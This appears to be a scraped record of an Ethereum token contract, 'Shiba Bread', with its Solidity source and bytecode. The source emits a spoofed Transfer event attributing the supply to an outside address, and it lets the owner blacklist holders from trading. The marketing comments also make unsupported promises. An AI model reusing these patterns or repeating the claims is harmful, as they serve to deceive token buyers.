9020805460ff19169055565b6001545b90565b600354600090600160a060020a038381169116141561073357506001610751565b50600160a060020a0381166000908152600b602052604090205460ff165b919050565b60055460009060ff161561076957600080fd5b610774848484610ba6565b949350505050565b60095460ff1681565b60045481565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106325780601f1061060757610100808354040283529160200191610632565b6107ef33610712565b15156107fa57600080fd5b60055460ff16151561080b57600080fd5b6005805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600061084b33610712565b151561085657600080fd5b60035460a060020a900460ff161561086d57600080fd5b600454600154610883908463ffffffff610d1d16565b111561088e57600080fd5b6106578383610d30565b60055460ff1681565b60055460009060ff16156108b457600080fd5b6106578383610e36565b600160a060020a031660009081526020819052604090205490565b6108e233610712565b15156108ed57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600061094f33610712565b151561095a57600080fd5b60035460a060020a900460ff161561097157600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b6109cd33610712565b15156109d857600080fd5b60055460ff16156109e857600080fd5b6005805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6008805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106325780601f1061060757610100808354040283529160200191610632565b60055460009060ff1615610a9d57600080fd5b6106578383610f26565b610ab033610712565b1515610abb57600080fd5b8051610ace906006906020840190611130565b5050565b600a5481565b60055460009060ff1615610aeb57600080fd5b6106578383611007565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b610b2933610712565b1515610b3457600080fd5b610b3d816110a0565b50565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a0383161515610bbd57600080fd5b600160a060020a038416600090815260208190526040902054821115610be257600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610c1257600080fd5b600160a060020a038416600090815260208190526040902054610c3b908363ffffffff61111e16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610c70908363ffffffff610d1d16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610cb2908363ffffffff61111e16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b81810182811015610d2a57fe5b92915050565b6000610d3b33610712565b1515610d4657600080fd5b60035460a060020a900460ff1615610d5d57600080fd5b600154610d70908363ffffffff610d1d16565b600155600160a060020a038316600090815260208190526040902054610d9c908363ffffffff610d1d16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610e8b57336000908152600260209081526040808320600160a060020a0388168452909152812055610ec0565b610e9b818463ffffffff61111e16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610f3d57600080fd5b33600090815260208190526040902054821115610f5957600080fd5b33600090815260208190526040902054610f79908363ffffffff61111e16565b3360009081526020819052604080822092909255600160a060020a03851681522054610fab908363ffffffff610d1d16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a038616845290915281205461103b908363ffffffff610d1d16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03811615156110b557600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008282111561112a57fe5b50900390565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061117157805160ff191683800117855561119e565b8280016001018555821561119e579182015b8281111561119e578251825591602001919060010190611183565b506111aa9291506111ae565b5090565b61070f91905b808211156111aa57600081556001016111b45600a165627a7a72305820cf7da0690628eb5cfd14416af22fd38bc101e5360bc6482d16974c6d70754aab0029
{"success": true, "error": null, "results": {}}
8,856
0x2bfb6136e450d813b6268ad42c95e222203d6bb3
/** *Submitted for verification at Etherscan.io on 2021-06-08 */ /** *Submitted for verification at Etherscan.io on 2021-06-08 */ /* Marketing paid Liqudity Locked Ownership renounced No Devwallets CG, CMC listing: Ongoing Devs of Shibramen © SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBABREAD is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Shiba Bread"; string private constant _symbol = unicode'SHIBABREAD🍞'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dd7565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061291d565b61045e565b6040516101789190612dbc565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f59565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128ce565b61048f565b6040516101e09190612dbc565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612840565b610568565b005b34801561021e57600080fd5b50610227610658565b6040516102349190612fce565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061299a565b610661565b005b34801561027257600080fd5b5061027b610713565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612840565b610785565b6040516102b19190612f59565b60405180910390f35b3480156102c657600080fd5b506102cf6107d6565b005b3480156102dd57600080fd5b506102e6610929565b6040516102f39190612cee565b60405180910390f35b34801561030857600080fd5b50610311610952565b60405161031e9190612dd7565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061291d565b61098f565b60405161035b9190612dbc565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612959565b6109ad565b005b34801561039957600080fd5b506103a2610afd565b005b3480156103b057600080fd5b506103b9610b77565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129ec565b6110d8565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612892565b611223565b6040516104189190612f59565b60405180910390f35b60606040518060400160405280600b81526020017f5368696261204272656164000000000000000000000000000000000000000000815250905090565b600061047261046b6112aa565b84846112b2565b6001905092915050565b60006a084595161401484a000000905090565b600061049c84848461147d565b61055d846104a86112aa565b6105588560405180606001604052806028815260200161366960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050e6112aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b359092919063ffffffff16565b6112b2565b600190509392505050565b6105706112aa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f490612eb9565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106696112aa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ed90612eb9565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107546112aa565b73ffffffffffffffffffffffffffffffffffffffff161461077457600080fd5b600047905061078281611b99565b50565b60006107cf600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c94565b9050919050565b6107de6112aa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086290612eb9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f53484942414252454144f09f8d9e000000000000000000000000000000000000815250905090565b60006109a361099c6112aa565b848461147d565b6001905092915050565b6109b56112aa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3990612eb9565b60405180910390fd5b60005b8151811015610af957600160066000848481518110610a8d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af19061326f565b915050610a45565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3e6112aa565b73ffffffffffffffffffffffffffffffffffffffff1614610b5e57600080fd5b6000610b6930610785565b9050610b7481611d02565b50565b610b7f6112aa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0390612eb9565b60405180910390fd5b601160149054906101000a900460ff1615610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5390612f39565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cee30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166a084595161401484a0000006112b2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3457600080fd5b505afa158015610d48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6c9190612869565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dce57600080fd5b505afa158015610de2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e069190612869565b6040518363ffffffff1660e01b8152600401610e23929190612d09565b602060405180830381600087803b158015610e3d57600080fd5b505af1158015610e51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e759190612869565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efe30610785565b600080610f09610929565b426040518863ffffffff1660e01b8152600401610f2b96959493929190612d5b565b6060604051808303818588803b158015610f4457600080fd5b505af1158015610f58573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7d9190612a15565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611082929190612d32565b602060405180830381600087803b15801561109c57600080fd5b505af11580156110b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d491906129c3565b5050565b6110e06112aa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116490612eb9565b60405180910390fd5b600081116111b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a790612e79565b60405180910390fd5b6111e160646111d3836a084595161401484a000000611ffc90919063ffffffff16565b61207790919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516112189190612f59565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990612f19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138990612e39565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114709190612f59565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e490612ef9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155490612df9565b60405180910390fd5b600081116115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159790612ed9565b60405180910390fd5b6005600a81905550600a600b819055506115b8610929565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162657506115f6610929565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7257600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116cf5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116d857600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117835750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f15750601160179054906101000a900460ff165b156118a15760125481111561180557600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185057600080fd5b601e4261185d919061308f565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119b8576005600a81905550600a600b819055505b60006119c330610785565b9050601160159054906101000a900460ff16158015611a305750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a485750601160169054906101000a900460ff165b15611a7057611a5681611d02565b60004790506000811115611a6e57611a6d47611b99565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b195750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2357600090505b611b2f848484846120c1565b50505050565b6000838311158290611b7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b749190612dd7565b60405180910390fd5b5060008385611b8c9190613170565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611be960028461207790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c14573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6560028461207790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c90573d6000803e3d6000fd5b5050565b6000600854821115611cdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd290612e19565b60405180910390fd5b6000611ce56120ee565b9050611cfa818461207790919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d60577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d8e5781602001602082028036833780820191505090505b5090503081600081518110611dcc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6e57600080fd5b505afa158015611e82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea69190612869565b816001815181